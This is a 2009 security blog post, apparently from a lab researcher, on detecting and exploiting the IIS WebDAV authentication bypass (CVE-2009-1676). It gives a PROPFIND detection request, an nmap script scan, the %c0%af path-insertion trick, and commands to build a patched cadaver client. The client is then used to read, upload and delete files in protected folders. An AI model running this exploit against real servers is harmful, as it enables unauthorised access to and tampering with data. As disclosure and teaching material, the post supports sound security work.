WebDAV Detection, Vulnerability Checking and Exploitation

Ahoy! My name is Andrew and I’ve been playing with the recent IIS WebDAV authentication bypass vulnerability (CVE-2009-1676) and helping Ron with writing the nmap detection script (http-iis-webdav-vuln.nse) and testing it in the lab. Ron is in a meeting today so I thought I’d jump in where he left off and post a bit about how to detect if WebDAV is enabled and how to actually exploit a folder once you’ve determined it is vulnerable.

 

The first thing one should know when playing with this vulnerability is that the IIS server is not exploitable if the root folder is protected. Also if the root folder is protected, there is no way to determine if WebDAV is even enabled. That being said, if the root folder is _not_ protected then it’s time to break out the funky cold medina and have some fun.

Detecting if WebDAV is enabled

Tested working on
* IIS 6.0/Windows 2003 Enterprise SP2
* IIS 5.1/Windows XP Pro SP2
* IIS 5.0/Windows 2000 SP4

On IIS 6.0, WebDAV is disabled by default. On IIS 5.0 and 5.1, WebDAV is enabled by default and you must edit the registry to disable it.

My method of detection simply involves running a PROPFIND request on the server. This is the same basic PROPFIND request we used in the http-iis-webdav-vuln.nse script:

PROPFIND / HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/xml
Content-Length: 298

<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:">
<prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop>
</propfind>

When WebDAV is enabled, it should return “HTTP/1.1 207 Multi-Status”.

When WebDAV has been disabled, it should return “HTTP/1.1 501 Not Supported”.

This is the method I’ve implemented in the http-iis-webdav-vuln.nse script. It works great in the lab on IIS servers. If we get back anything other than a 207 or 501 then we jump ship saying the web server is not supported. An Ubuntu server running Apache returns a 405 Method Not Allowed for instance.

Checking if a server is vulnerable

Tested working on
* IIS 6.0/Windows 2003 Enterprise SP2
* IIS 5.1/Windows XP Pro SP2

Tested not working on
* IIS 5.0/Windows 2000 SP4

The original script only used one type of check; it would first find a protected folder (/secret/) and then try inserting the %c0%af character after the first /. It would turn /secret/ into /%c0%afsecret/.

This worked fine on IIS 6.0 but did not work at all on IIS 5.0/5.1. After playing with it some more today, we managed to get it working on IIS 5.1. The trick with 5.1 is that the %c0%af character can not be right after the / but must be somewhere in the middle of the folder name. This also works on IIS 6.0. I modified the script so that it uses the 5.1/6.0 check, turning /secret/ into /s%c0%afecret/.

Finding a vulnerable server

Tested working on
* IIS 6.0/Windows 2003 Enterprise SP2
* IIS 5.1/Windows XP Pro SP2

Tested not working on
* IIS 5.0/Windows 2000 SP4

Now for the fun part. If you havent turned on some funky cold medina yet, get to it because we’re almost done!

First thing we need to do is find a vulnerable server. I just happen to know of a Windows 2003 box in my lab running IIS 6.0 that is vulnerable (fully patched up to today btw). Lets see how an nmap scan of this box with the updated script works out:

> ./nmap -T4 -p80 --script=http-iis-webdav-vuln xxx.xxx.xxx.xxx

Starting Nmap 4.85BETA9 ( http://nmap.org ) at 2009-05-20 14:29 CDT
Interesting ports on xxx.xxx.xxx.xxx:
PORT   STATE SERVICE
80/tcp open  http
|_ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /private, /secret, /webdav

Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds

Interesting! So now we know the server has WebDAV enabled and that there are three vulnerable folders.

Exploiting it!

Now we could do everything by telnet-ing over port 80, but that’s not much fun (believe me, it’s very tedious!) so I went looking for a WebDAV client. I stumbled upon a FOSS one called cadaver, and based purely on the name I grabbed it. Now cadaver itself is a great little command line WebDAV client but I quickly realized it has a bunch of problems that won’t let us do what we wanted. The nice thing about FOSS is that it’s open, so we grabbed the cadaver-0.23.2 source and after hacking away at it for awhile, we came up with a little patch that makes it quite easy to exploit a server. Check the patch itself for the gritty details but basically it does the following:

1) Replace any “Depth: 0″ header with “Depth: 1″ (otherwise ls won’t work)
2) Append the header “Translate: f” to every request (otherwise get and probably others won’t work)
3) Insert the characters “%c0%af” into any uri request longer than 1 character.

So, grab the cadaver-0.23.2-h4x.patch and apply it to the cadaver-0.23.2 source from the cadaver website. Here’s the commands:

> mkdir cadaver-h4x
> cd cadaver-h4x
> wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
--snip--
> wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz
--snip--
> tar xzvf cadaver-0.23.2.tar.gz
--snip--
> cd cadaver-0.23.2/
> patch -p1 < ../cadaver-0.23.2-h4x.patch
patching file lib/neon/ne_basic.c
patching file lib/neon/ne_request.c
patching file lib/neon/ne_uri.c
> ./configure
--snip--
> make
--snip--

Now we should have a patched, compiled version of cadaver, so start it up with the server that was identified as having a vulnerable folder earlier:

> ./cadaver xxx.xxx.xxx.xxx

This should drop you to a “dav:/>” prompt. Now just cd into the vulnerable folder and check out what’s there:

dav:/> cd secret
dav:/secret/> ls
Listing collection `/secret/': succeeded.
        password.txt                           7  May 19 10:40
dav:/secret/> cat password.txt
Displaying `/secret/password.txt':
ron$pr0ns
dav:/secret/>

And there you have it!

Here’s a list of commands that I’ve tested that work with the patched cadaver on a vulnerable folder:
* CD
* LS
* MOVE
* PUT
* GET
* CAT
* DELETE

Oddly enough, the COPY command does NOT work. We didn’t have time to investigate why, but the functionality can be duplicated by a get/local rename/put.

Also, this patched cadaver will not work for browsing regular WebDAV folders (non-vulnerable), so don’t try.

If anyone has been able to successfully exploit this on IIS 5.0 (Windows 2000), please contact me, we’ve been trying and can’t get it to work in the lab here.

Comments are welcome, you can also contact me by e-mail: andrew at andreworr dot ca